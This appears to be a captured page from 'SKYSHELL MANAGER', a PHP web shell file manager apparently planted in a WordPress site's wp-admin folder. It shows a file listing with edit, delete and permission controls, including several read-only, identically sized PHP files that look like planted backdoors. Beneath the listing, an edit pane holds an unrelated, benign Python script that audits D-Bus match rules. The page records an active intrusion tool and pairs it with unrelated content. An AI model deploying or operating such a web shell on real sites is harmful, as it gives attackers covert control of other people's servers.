📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
config.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
data.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: GetAllMatchRules.py
#!/usr/bin/env python import sys import argparse import dbus import time def get_cmdline(pid): cmdline = '' if pid > 0: try: procpath = '/proc/' + str(pid) + '/cmdline' with open(procpath, 'r') as f: cmdline = " ".join(f.readline().split('\0')) except: pass return cmdline # Parsing parameters parser = argparse.ArgumentParser(description='Testing D-Bus match rules') parser.add_argument('--session', help='session bus', action="store_true") parser.add_argument('--system', help='system bus', action="store_true") parser.add_argument('--all', help='print all match rules', action="store_true") args = parser.parse_args() if args.system and args.session: parser.print_help() sys.exit(1) # Fetch data from the bus driver if args.system: bus = dbus.SystemBus() else: bus = dbus.SessionBus() remote_object = bus.get_object("org.freedesktop.DBus", "/org/freedesktop/DBus") bus_iface = dbus.Interface(remote_object, "org.freedesktop.DBus") stats_iface = dbus.Interface(remote_object, "org.freedesktop.DBus.Debug.Stats") try: match_rules = stats_iface.GetAllMatchRules() except: print("GetConnectionMatchRules failed: did you enable the Stats interface?") sys.exit(1) names = bus_iface.ListNames() unique_names = [ a for a in names if a.startswith(":") ] pids = dict((name, bus_iface.GetConnectionUnixProcessID(name)) for name in unique_names) cmds = dict((name, get_cmdline(pids[name])) for name in unique_names) well_known_names = [ a for a in names if a not in unique_names ] owners = dict((wkn, bus_iface.GetNameOwner(wkn)) for wkn in well_known_names) rules = dict((k_rules, dict({ 'wkn': [k for k, v in owners.items() if v == k_rules], 'pid': pids[k_rules], 'cmd': cmds[k_rules] or "", 'rules': v_rules, 'warnings': dict({ 'not_signal': [a for a in v_rules if "type='signal'" not in a], 'no_sender': [a for a in v_rules if "sender=" not in a], 'local': [a for a in v_rules if "org.freedesktop.DBus.Local" in a], 'NameOwnerChanged_arg0': [a for a in v_rules if "member='NameOwnerChanged'" in a and "arg0" not in a] }) }) ) for k_rules, v_rules in match_rules.items()) warnings = dict({ 'not_signal': 'Match rule without selecting signals', 'no_sender': 'Match rule without a sender criteria', 'local': 'Match rule on the org.freedesktop.DBus.Local interface', 'NameOwnerChanged_arg0': 'Match rule on NameOwnerChanged without a arg0* criteria' }) # Print the match rules # print all match rules without analysing them if args.all: for name in rules: print("Connection %s with pid %d '%s' (%s): %d match rules, %d warnings" % (name, rules[name]['pid'], rules[name]['cmd'], ' '.join(rules[name]['wkn']), len(rules[name]['rules']), len(sum(rules[name]['warnings'].values(), [])))) for rule in rules[name]['rules']: print("\t%s" % (rule)) print("") sys.exit(0) # analyse match rules and print only the suspicious ones for conn,data in rules.items(): warnings_count = len(sum(data['warnings'].values(), [])) if warnings_count == 0: continue print("Connection %s with pid %d '%s' (%s): %d match rules, %d warnings" % (conn, data['pid'], data['cmd'], ' '.join(data['wkn']), len(data['rules']), warnings_count)) for warn_code,rule_list in [(warn_code,rule_list) \ for warn_code, rule_list \ in data['warnings'].items() \ if len(rule_list) > 0]: print(" - %s:" % (warnings[warn_code])) for rule in rule_list: print(" - %s" % (rule)) print("") sys.exit(0)
Save